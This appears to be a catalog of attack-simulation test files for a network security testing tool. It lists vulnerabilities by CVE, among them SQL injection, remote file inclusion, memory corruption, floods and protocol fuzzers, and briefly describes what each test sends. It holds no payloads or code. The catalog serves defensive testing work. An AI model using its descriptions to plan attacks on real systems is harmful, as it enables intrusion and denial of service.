Threat File Name:	shadow_premod_rfi.xml
Executive Description:	Premod Shadow Functions_Portal.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Premod Shadow is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	nocc_cmi_c.xml
Executive Description:	NOCC Arbitrary Local File Inclusion \ Command Execution Vulnerability, footer.php
Detailed Description:	This threat sends an HTTP query containing a path for a local (to the server) file to be included in the servers output. NOCC is a web application which typically listens on port 80.
Protocol Type:	HTTP
Threat File Name:	FSC20090213-15_ProFTPD_Server_Username_Handling_SQL_Injection.xml
Executive Description:	ProFTPD Server Username Handling SQL Injection
Detailed Description:	A vulnerability exists in ProFTPD that could be exploited by remote attackers to conduct SQL injection attacks on the server. This flaw is due to improper validation of a user-supplied username string before being used in an SQL query. A remote unauthenticated attacker can trigger this vulnerability by sending a malicious username to the target ProFTPD server and gain the privileges of a legitimate user. A successful attack can allow the attacker to masquerade as an authenticated user and, depending upon their privileges, gain unauthorized access and cause denial of service.
Protocol Type:	FTP
CVEID:	CVE-2009-0542
Threat Package:	Standard
Threat File Name:	TSL20121210-04_VideoLAN_VLC_Media_Player_SWF_Code_Execution.xml
Executive Description:	VideoLAN VLC Media Player SWF Code Execution
Detailed Description:	A code execution vulnerability has been reported in VLC Media Player. The vulnerability is due to memory corruption vulnerability when handling certain SWF files. A remote attacker can exploit this vulnerability by enticing a user to open a specially crafted SWF file with a vulnerable version of VLC Media Player. Successful exploitation may allow the attacker to execute arbitrary code on the target user's machine with the privileges of the VLC Media Player process. If code execution is unsuccessful, a denial of service condition may result.
Protocol Type:	HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS,RTSP
OSVDB:	88299
Threat File Name:	TSL20141209-24_Microsoft_Internet_Explorer_CVE_2014-8966_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-8966 Memory Corruption IPv6 version.
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2014-8966
OSVDB:	115577
Threat File Name:	FSC20070711-28_Apple_QuickTime_SMIL_File_Handling_Integer_Overflow.xml
Executive Description:	Apple QuickTime SMIL File Handling Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in Apple QuickTime. The vulnerability is due to the way QuickTime parses specially crafted SMIL documents. A remote attacker could exploit this vulnerability by persuading a user to open a specially crafted SMIL file or access a malicious web page, potentially causing arbitrary code to be injected and executed in the security context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-2394
Threat Package:	Standard
Threat File Name:	efiction_sqli_c.xml
Executive Description:	eFiction viewstory.php SQL Insertion
Detailed Description:	This threat sends a crafted URL that contains an SQL query that is executed by the server. eFiction is an web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-4169
OSVDB:	21120
Threat File Name:	x86NOOPtcpSGI2_IPv6.xml
Executive Description:	TCP x86 NOOP Packet Variant SGI2 (IPv6 Version)
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	man2web_cmd_2.xml
Executive Description:	man2web Remote Command Execution 2

Detailed Description:	This threat runs a series of commands through a flaw in the man2web CGI script. It allows a remote attacker to gain control of the server with the rights of the webserver. This can lead to further exploitation. man2web is a web application, and typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-2812
OSVDB:	19515
Threat Package:	Standard
Threat File Name:	FSC20081209-24_Microsoft_Word_Crafted_Sprm_Structure_Stack_Memory_Corruption.xml
Executive Description:	Microsoft Word Crafted Sprm Structure Stack Memory Corruption
Detailed Description:	There is a memory corruption vulnerability in Microsoft Word products. The flaw is due to improper handling of crafted record size in Word documents. An attacker can exploit this vulnerability by persuading the target user to open a malicious Word document. Successful attack could allow for arbitrary code injection and execution with privileges of the currently logged on user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, affected product will terminate resulting in the loss of any unsaved data from the current session.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-4837
Threat Package:	Standard
Threat File Name:	TSL20170628-05_Systemd_resolved_dns_packet_new_Heap_Buffer_Overflow.xml
Executive Description:	Systemd resolved dns_packet_new Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability has been reported in the dns_packet_new function of systemd-resolved. This vulnerability is due to the allocation of a heap buffer of insufficient size when handling DNS responses. A malicious DNS server can exploit this vulnerability by sending a crafted DNS response. Successful exploitation may result in arbitrary code execution.
Protocol Type:	DNS
CVEID:	CVE-2017-9445
Threat File Name:	ActionApps_cmi_IPv6.xml
Executive Description:	ActionApps 2.8.1 Remote File Inclusion (IPv6 Version)
Detailed Description:	This threat send a crafted HTTP query containing a local or remote path to a file which is included into the PHP source via cached.php3's GLOBALS[AA_INC_PATH] parameter. ActionApps is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2686
Threat Package:	Standard
Threat File Name:	TSL20081209-12_Microsoft_Windows_GDI_WMF_File_HeaderSize_Buffer_Overflow.xml
Executive Description:	Microsoft Windows GDI WMF File HeaderSize Buffer Overflow
Detailed Description:	There exists a heap buffer overflow vulnerability in Microsoft Graphics Device Interface (GDI) library. The flaw is due to an integer overflow while handling WMF image files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted WMF image file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged on user. In the case of an unsuccessful code execution attack, the affected application will terminate resulting in the loss of any unsaved data from the current session.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-2249
OSVDB:	MS08-071
Threat File Name:	ms03-039_IPv6.xml
Executive Description:	MS03-039 RPCSS Exploit (IPv6 Version)
Detailed Description:	This threat is an exploit against the MS03-039 problem in RPCSS. Microsoft DCOM typically listens on port 135. (IPv6 Version)
Protocol Type:	DCOM/IPv6
CVEID:	CVE-2003-0715
OSVDB:	11797
Threat Package:	Standard
Threat File Name:	ipv6_ece_flood.xml
Executive Description:	ECE Flood IPv6
Detailed Description:	This threat is an IPv6 version of an ECE flood.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	dewizardX_activex_fileoverwrite_IPv6.xml
Executive Description:	DB Software Laboratory DeWizardX (DeWizardAX.ocx) Remote Arbitrary File Overwrite Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a flaw in DeWizardX ActiveX Component allowing it to overwrite any file on the victim system. this threat is delived via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2725
Threat Package:	Standard
Threat File Name:	cisco_ONS_DoS_IPv6.xml
Executive Description:	Cisco ONS Denial of Service (IPv6 Version)
Detailed Description:	Sending IP packets with a non-zero Type of Service to the timing control card on the LAN interface will cause the Cisco Optical Transport Platform (running ONS 3.1.0 to 3.2.0) to reset, resulting in a denial of service. (IPv6 Version)
Protocol Type:	IP/IPv6
CVEID:	CVE-2002-0952
OSVDB:	5045
Threat Package:	Standard
Threat File Name:	fuzz-SMTP-HELO_Parameter_carat_IPv6.xml

Executive Description:	Fuzz SMTP HELO verb with ^ (IPv6 Version)
Detailed Description:	Fuzzes the SMTP HELO Parameter with ^ from size of 0 to a size of 4096. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	TSL20140211-23_Microsoft_Internet_Explorer_CVE-2014-0278_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-0278 Memory Corruption(IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Internet Explorer. The vulnerability is due to an error in the way objects are handled. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2014-0278
OSVDB:	103177
Threat File Name:	TSL20140115-01_SpringSource_Spring_Framework_SourceHttpMessageConverter_XXE_Information_Disclosure_IPv6.xml
Executive Description:	SpringSource Spring Framework SourceHttpMessageConverter XXE Information Disclosure(IPv6 Version)
Detailed Description:	An information disclosure vulnerability exists in SpringSource Spring Framework. The vulnerability is due to incorrectly configured XML parsing in the MVC's SourceHttpMessageConverter, which accepts XML external entities from untrusted sources. A remote, unauthenticated attacker can leverage this vulnerability by sending a malicious request to the target server. Successful exploitation would result in the disclosure of information from arbitrary files available in the security context of the server application.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2013-6429
OSVDB:	102167
Threat File Name:	TSL20131016-21_HP_Intelligent_Management_Center_SOM_sdFileDownload_Information_Disclosure_IPv6.xml
Executive Description:	HP Intelligent Management Center SOM sdFileDownload Information Disclosure(IPv6 Version)
Detailed Description:	An information disclosure vulnerability exists in the SOM add-in module of HP Intelligent Management Center. The vulnerability is due to a lack of authentication and insufficient input validation in the <i><sdFileDownload></i> servlet when processing HTTP request parameters. <para>By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the contents of arbitrary files on a target system.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2013-4826
OSVDB:	98251
Threat File Name:	WinXPdos_IPv6.xml
Executive Description:	Windows XP UDP Flood DoS (IPv6 Version)
Detailed Description:	This threat takes advantage of a vulnerability in Microsoft Windows XP. By default, UDP port 500 is accessible. Sending a large volume of traffic to that port will exhaust all CPU resources causing a denial of service for other remote users and locking up the machine for the local user. (IPv6 Version)
Protocol Type:	UDP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20140618-11_Symantec_Web_Gateway_Multiple_PHP_Pages_Cross_Site_Scripting.xml
Executive Description:	Symantec Web Gateway Multiple PHP Pages Cross Site Scripting
Detailed Description:	A cross-site scripting vulnerability exists in Symantec Web Gateway. The vulnerability is due to improper validation of <i>&quot;variable[]&quot;</i> , <i>&quot;operator[]&quot;</i> , <i>&quot;other[]&quot;</i> and <i>&quot;operand[]&quot;</i> parameters of several php pages including but not limited to <i>&quot;entSummary.php&quot;</i> , <i>&quot;custom_report.php&quot;</i> , <i>&quot;host_spy_report.php&quot;</i> . An attacker can exploit this vulnerability by enticing a user to click on a malicious link. A successful attack will result in execution of arbitrary script code in the context of the affected user's browser session.and <i>&quot;repairedclients.php&quot;</i> pages.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-1652
OSVDB:	108184
Threat File Name:	FSC20100901-08_OpenSSL_ssl3_get_key_exchange_Use-After-Free_Memory_Corruption_IPv6.xml
Executive Description:	OpenSSL ssl3_get_key_exchange Use-After-Free Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in OpenSSL library. The vulnerability is due to an error in ssl3_get_key_exchange function while handling server key exchange message. If a certificate structure contains a crafted value, the vulnerable code could cause a double-free error. Remote attackers could exploit this vulnerability by enticing the target user to connect to a malicious server using a vulnerable version of the OpenSSL library. Successful exploitation may allow for arbitrary code execution with the privileges of the application using the OpenSSL library.
Protocol Type:	IPv6,TLS
CVEID:	CVE-2010-2939
Threat Package:	Standard
Threat File Name:	FSC20110321-05_Novell_Netware_FTP_Server_DELETE_Command_Stack_Buffer_Overflow.xml
Executive Description:	Novell Netware FTP Server DELETE Command Stack Buffer Overflow
Detailed Description:	A code execution vulnerability exists in Novell Netware. The vulnerability is due to a stack buffer overflow in NWFTPD.NLM when processing DELETE FTP requests. Remote authenticated attackers can exploit this vulnerability by sending maliciously crafted commands to the affected server.In attack scenarios where code execution is successful the behaviour of the affected server depends entirely onthe logic of the injected code, which will be executed within the security context of the affected service. In situationswhere code execution is not successful the affected service may terminate abnormally, causing a denial of servicecondition.
Protocol Type:	FTP
CVEID:	CVE-2010-4228
Threat File Name:	FSC20070515-19_Samba_SPOOLSS_RPC_smb_io_notify_option_type_data_Request_Handling_Buffer_Overflow.xml

Executive Description:	Samba SPOOLSS RPC smb_io_notify_option_type_data Request Handling Buffer Overflow
Detailed Description:	A heap-based buffer overflow vulnerability exists in the way Samba handles RPC messages. The vulnerability is due to a boundary error while performing specific RPC operations. Remote authenticated attackers can exploit this vulnerability by sending a specially crafted RPC request to the SPOOLSS RPC interface. Successful exploitation of this vulnerability allows attackers to execute arbitrary code on the vulnerable system in the context of the affected process.
Protocol Type:	MICROSOFT-DS
CVEID:	CVE-2007-2446
Threat Package:	Standard
Threat File Name:	TSL20121219-01_Contaware_FreeVimager_GIF_LZWMinimumCodeSize_Memory_Corruption_IPv6.xml
Executive Description:	Contaware FreeVimager GIF LZWMinimumCodeSize Memory Corruption(IPv6 Version)
Detailed Description:	A memory corruption vulnerability has been found in Contaware FreeVimager. The vulnerability is due to an error in processing GIF images containing an invalid value for the LZWMinimumCodeSize field. An attacker could exploit this vulnerability by enticing a target user to open a maliciously crafted GIF file with the vulnerable product. In the case of a successful attack, arbitrary attacker code could be executed in the security context of the target user.
Protocol Type:	IPV6,HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS
OSVDB:	88335
Threat File Name:	TSL20070109-16_Microsoft_Excel_Column_Record_Handling_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Excel Column Record Handling Memory Corruption(IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Excel. The flaw is caused by insufficient checks while parsing the Column field in several record types in Excel files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack case where code injection is not successful, all instances of the vulnerable application will terminate or the application will stop responding. This can potentially lead to a loss of data. In a more sophisticated attack, where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP
CVEID:	CVE-2007-0030
Threat File Name:	FSC20090714-03_Mozilla_Firefox_JIT_escape_Function_Memory_Corruption.xml
Executive Description:	Mozilla Firefox JIT escape Function Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Mozilla Firefox. This flaw is due to the way Mozilla Firefox handles JIT escape Function calls. A remote attacker can exploit this vulnerability by enticing a target user to open a malicious web page. Successful attacks could allow for arbitrary code injection and execution within the security privileges of the currently logged on user. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. In the case of an unsuccessful code execution attack, Firefox may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-2477
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_WRQ_NETASCII_formats_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_WRQ_NETASCII_formats.xml (IPv6 Version)
Detailed Description:	Fuzzes Mode field by appending %s to netascii with ranging sizes. OpCode is WRQ. (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	fuzz-HTTP-CONNECT_PrepndHTTPWithformatn_IPv6.xml
Executive Description:	Fuzz HTTP CONNECT with Request-URI prepended with %n (IPv6 Version)
Detailed Description:	Fuzzes the Request-URI field by prepending %n (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	pigeon.xml
Executive Description:	Pigeon Server Denial of Service
Detailed Description:	This threat sends out a malformed packet known to crash Pigeon Server. Pigeon Server is an alternative messaging system for Windows workstations. Pigeon Server typically listens on port 3103.
Protocol Type:	Proprietary
CVEID:	CVE-2004-1688
OSVDB:	10008
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_RRQ_OCTET_formatn_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RRQ_OCTET_formatn.xml (IPv6 Version)
Detailed Description:	Fuzzes Mode field by appending %n to octet with ranging sizes. OpCode is RRQ. (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	nimda2_IPv6.xml
Executive Description:	Nimda Request URL 2 (IPv6 Version)
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20120410-05_Microsoft_Internet_Explorer_SelectAll_Use-after-free_IPv6.xml
Executive Description:	Microsoft Internet Explorer OnReadyStateChange Use-after-free(IPv6 Version)
Detailed Description:	A remote code execution vulnerability exists in Microsoft's Internet Explorer. The vulnerability is due to the attempted use of an object after it has been deleted. A remote, unauthenticated attacker can exploit this vulnerability by enticing a target user to open an HTML document with Internet Explorer. A successful exploitation attempt could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	IPV6,HTTP,HTTPS

CVEID: [CVE-2012-0171](#)

Threat File Name:	FSC20101214-39_Microsoft_Office_TIFF_Image_Converter_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Office TIFF Image Converter Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office. The vulnerability is due to the way Office handles TIFF image files. An attacker can leverage this vulnerability by enticing a target user to open a malicious file. Successful exploitation would allow an attacker to execute arbitrary code in the security context of the logged in user. An unsuccessful attack could cause an abnormal termination of the affected product. Note: Microsoft has advised that the MS10-087 patch must be applied to mitigate this vulnerability. The research team has not been successful in validating the MS10-087 or MS10-105 patch.
Protocol Type:	IPv6, HTTP, HTTPS, IMAP, POP3, SMTP, SMB/CIFS
CVEID:	CVE-2010-3950
Threat File Name:	TSL20110808-01_Google_Chrome_and_Apple_Safari_Floating_Styles_Use-After-Free_Code_Execution_IPv6.xml
Executive Description:	Google Chrome and Apple Safari Floating Styles Use-After-Free Code Execution (IPv6 Version)
Detailed Description:	A code execution vulnerability exists Apple Safari and Google Chrome. The vulnerability is due to a use-after-free condition while handling floating style information. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to visit a malicious web site. This can lead to memory corruption and the possibility of code execution in the context of the affected user. If code execution is unsuccessful, the application may terminate abnormally.
Protocol Type:	IPv6, HTTP, HTTPS
CVEID:	CVE-2011-2790
Threat File Name:	ipv6_emptyUDP.xml
Executive Description:	IPv6 Empty UDP SNMP Packet
Detailed Description:	This threat is an IPv6 version of the empty UDP SNMP packet. It sends an empty UDP packet which has been known to crash certain SNMP agents.
Protocol Type:	SNMP
Threat Package:	Standard
Threat File Name:	phpBB_viewtopic.xml
Executive Description:	phpBB SQL Injection Attack
Detailed Description:	This threat performs a SQL injection attack against the popular web based bulletin board software phpBB. This particular attack attempts to retrieve the password hashes of users. phpBB is a web application and typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2003-0486
OSVDB:	2186
Threat Package:	Standard
Threat File Name:	bt-sondage_rfi_IPv6.xml
Executive Description:	BT-Sondage-v112 Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. BT-Sondage is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1812
Threat Package:	Standard
Threat File Name:	FSC20100309-11_Microsoft_Office_Excel_DbOrParamQry_Record_Parsing_Memory_Corruption.xml
Executive Description:	Microsoft Office Excel DbOrParamQry Record Parsing Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Office Excel. The vulnerability is due to a flaw while parsing DbOrParamQry records. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the logic of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2010-0264
Threat Package:	Standard
Threat File Name:	phpmychat_cmi_b_IPv6.xml
Executive Description:	PHPMyChat 0.15.0.dev MessagesL.PHP3 Command Injection / SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP query containing an SQL statement which when executed by the server allows the injection of PHP code which will also be executed by the server when the inserted record is displayed. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	wuftp_exec_cmi.xml
Executive Description:	WU-FTPD Site EXEC Race Condition
Detailed Description:	This threat sends a crafted SITE command containing a commandline which is executed by the server with root permissions. WU-FTP is an FTP server which typically listens on port 21.
Protocol Type:	FTP
CVEID:	CVE-1999-0955
OSVDB:	8719
Threat File Name:	TSL20130531-01_Linux_Kernel_iscsi_add_notunderstood_response_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Linux Kernel iscsi_add_notunderstood_response Heap Buffer Overflow [IPv6, Version]
Detailed Description:	A heap buffer overflow vulnerability has been reported in the Linux Kernel. The vulnerability is in the iscsi_add_notunderstood_response() function in the iscsi_target driver and is due to the way a notunderstood response is created after processing very long keys. A remote, unauthenticated attacker can exploit this vulnerability by sending an overly long key. A successful attack can result in arbitrary code execution with kernel privileges. An unsuccessful attack will cause the kernel to crash resulting in a denial-of-service condition.

Protocol Type:	IPv6,iSCSI
CVEID:	CVE-2013-2850
OSVDB:	93755
Threat File Name:	FSC20040708-01_Mozilla_shell_Protocol_Validation_Vulnerability.xml
Executive Description:	Mozilla shell Protocol Validation Vulnerability
Detailed Description:	There exists a vulnerability in the way products based on the Mozilla web engine validate URIs using the shell scheme. Using a specially crafted shell URI, an attacker can run executable files located on a target system, or start applications registered to handle certain file types. This vulnerability can also be used as a remote attack vector to vulnerabilities that would otherwise be considered local only.
Protocol Type:	HTTP
CVEID:	CVE-2004-0648
Threat Package:	Standard
Threat File Name:	FSC20070907-14_Microsoft_SQL_Server_Distributed_Management_Objects_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft SQL Server Distributed Management Objects Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in the Distributed Management Objects component of Microsoft SQL Server. The vulnerability is due to a boundary error while handling an overly large argument passed to a vulnerable method of the Distributed Management Objects library "sqldmo.dll". A remote attacker could exploit the vulnerability by enticing the target user to open a malicious web page. Successful exploitation would cause a buffer overflow condition which may lead to arbitrary code injection and execution in the security context of the currently logged-in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat File Name:	TSL20150107-04_ManageEngine_Desktop_Central_MSP_StatusUpdateServlet_fileName_Directory_Traversal.xml
Executive Description:	ManageEngine Desktop Central MSP StatusUpdateServlet fileName Directory Traversal
Detailed Description:	A directory traversal vulnerability exists in ManageEngine Desktop Central MSP. The vulnerability is due to lack of authentication and insufficient input validation of the filename parameter sent to the StatusUpdateServlet page when processing HTTP(S) requests. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted request to the target server. Successful exploitation could lead to arbitrary code execution under the security context of the system user. Tester should set variable \$destPort to 8020 before test.
Protocol Type:	HTTP/HTML
CVEID:	CVE-2014-9404
OSVDB:	116802
Threat File Name:	FSC20100825-04_Adobe_Shockwave_tSAC_Chunk_Invalid_Seek_Memory_Corruption_IPv6.xml
Executive Description:	Adobe Shockwave tSAC Chunk Invalid Seek Memory Corruption (IPv6 Version)
Detailed Description:	A code execution vulnerability has been reported in Adobe Shockwave. The vulnerability is due to a signedness error while parsing tSAC chunks in Adobe Director fields. The vulnerable code does not properly validate an offset value provided in the chunk data before using it to calculate a memory address. Remote attackers can exploit this vulnerability by enticing target users to open a malicious DIR file using a vulnerable version of the product. Successful exploitation of this vulnerability would result in arbitrary code execution in the security context of the logged in user. In the case of an unsuccessful attack, the affected application may terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-2875
Threat Package:	Standard
Threat File Name:	FSC20090714-05_Microsoft_DirectShow_QuickTime_Atom_Size_Memory_Corruption.xml
Executive Description:	Microsoft DirectShow QuickTime Atom Size Memory Corruption
Detailed Description:	A remote code execution vulnerability is reported in Microsoft DirectShow QuickTime Movie Parser filter. The vulnerability is due to improperly input validation when handling crafted atom size value in QuickTime format files. Remote attackers could exploit this vulnerability by convincing a target user to open a malicious QuickTime media file. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected application may terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP/SMB/CIFS/SMTP
CVEID:	CVE-2009-1539
Threat Package:	Standard
Threat File Name:	x86NOOPtcp6_IPv6.xml
Executive Description:	TCP x86 NOOP Packet Variant 6 (IPv6 Version)
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20150612-04_OpenSSL_Elliptic_Curve_Binary_Polynomial_Field_Resource_Exhaustion.xml
Executive Description:	OpenSSL Elliptic Curve Binary Polynomial Field Resource Exhaustion
Detailed Description:	A resource exhaustion vulnerability exists in OpenSSL. The vulnerability is due to a missing validity check of Elliptic Curve parameters within BN_GF2m_mod_inv(). A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted certificate to a vulnerable OpenSSL client or server application. Successful exploitation will cause the application to enter an infinite loop causing it to consume all CPU resources, resulting in a denial-of-service condition. Tester should set variable \$destPort to 443 before test.
Protocol Type:	TLS/DTLS/HTTPS/SMTP/SMTPTS/SIPS
CVEID:	CVE-2015-1788
Threat File Name:	SYNACKflood_IPv6.xml
Executive Description:	TCP SYN/ACK Flood (IPv6 Version)

Detailed Description:	This threat sends out spoofed TCP packets with the SYN and ACK bits set to a user specified target and port from a user specified IP address. TCP packets with this configuration are normally sent to a client by a server in response to a SYN packet during the 3-way handshake that establishes a connection. Flooding the target with these erroneous packets may result in a denial of service. To enhance this attack the user may randomize the IP address of the source. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2002-1071
OSVDB:	9982
Threat Package:	Standard
Threat File Name:	InternetExplorerSearchXSS2.xml
Executive Description:	Internet Explorer Search Bar Injection
Detailed Description:	This threat causes a XSS event to happen by loading a webpage in the search bar of Internet Explorer. This allows a malicious web site to steal user sensitive data or cause command execution. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2003-0816
OSVDB:	3097
Threat Package:	Standard
Threat File Name:	FSC20041015-01_Microsoft_Windows_NNTP_Component_Buffer_Overflow.xml
Executive Description:	Microsoft Windows NNTP Component Buffer Overflow
Detailed Description:	A vulnerability exists in the Microsoft Windows Network News Transfer Protocol (NNTP) component. The vulnerability exists in the parsing and translating methods of the NNTP XPAT and SEARCH commands parameters. Leveraging this vulnerability could allow an attacker to execute arbitrary code on the target system.
Protocol Type:	NNTP
CVEID:	CVE-2004-0574
Threat Package:	Standard
Threat File Name:	FSC20100720-01_Microsoft_Windows_LNK_File_Code_Execution.xml
Executive Description:	Microsoft Windows LNK File Code Execution
Detailed Description:	A vulnerability exists in Microsoft Windows that may allow execution of arbitrary code on the target machine. The vulnerability is due to a design weakness in Windows Shell which incorrectly parses shortcuts in such a way that malicious code may be executed when the crafted file is opened either manually or automatically with Windows Explorer. This vulnerability is most likely to be exploited through removable drives containing malicious LNK files, especially on systems that have AutoPlay enabled.
Protocol Type:	HTTP,HTTPS,SMB,WebDAV
CVEID:	CVE-2010-2568
Threat Package:	Standard
Threat File Name:	statit_cmi_IPv6.xml
Executive Description:	Statit V4 Remote File Inclusion exploit (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP GET query which allows an arbitrary file inclusion via the statitpath argument. Statit is a web application with typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20150327-03_PHP_Group_PHP_ZIP_Integer_Overflow.xml
Executive Description:	PHP Group PHP ZIP Integer Overflow.
Detailed Description:	A heap buffer overflow vulnerability exists in PHP. The vulnerability is due to an integer overflow in the libzip component of PHP and can be used to write beyond the end of a heap buffer. A remote attacker can exploit the vulnerability by sending a crafted ZIP archive to a web application running a vulnerable version of PHP. A successful attack will result in remote code execution under the context of the service running PHP.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-2331
Threat File Name:	TSL20131022-05_HP_Intelligent_Management_Center_BIMS_UploadServlet_Arbitrary_File_Upload_IPv6.xml
Executive Description:	HP Intelligent Management Center BIMS UploadServlet Arbitrary File Upload(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in the Branch Intelligent Management Software (BIMS) module of Intelligent Management Center. The vulnerability is due to lack of authentication and insufficient input validation in the UploadServlet when processing HTTP requests. A remote unauthenticated attacker can upload arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2013-4822
OSVDB:	98247
Threat File Name:	TSL20130430-08_IBM_SPSS_SamplePower_clsizer_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	IBM SPSS SamplePower clsizer ActiveX Control Buffer Overflow
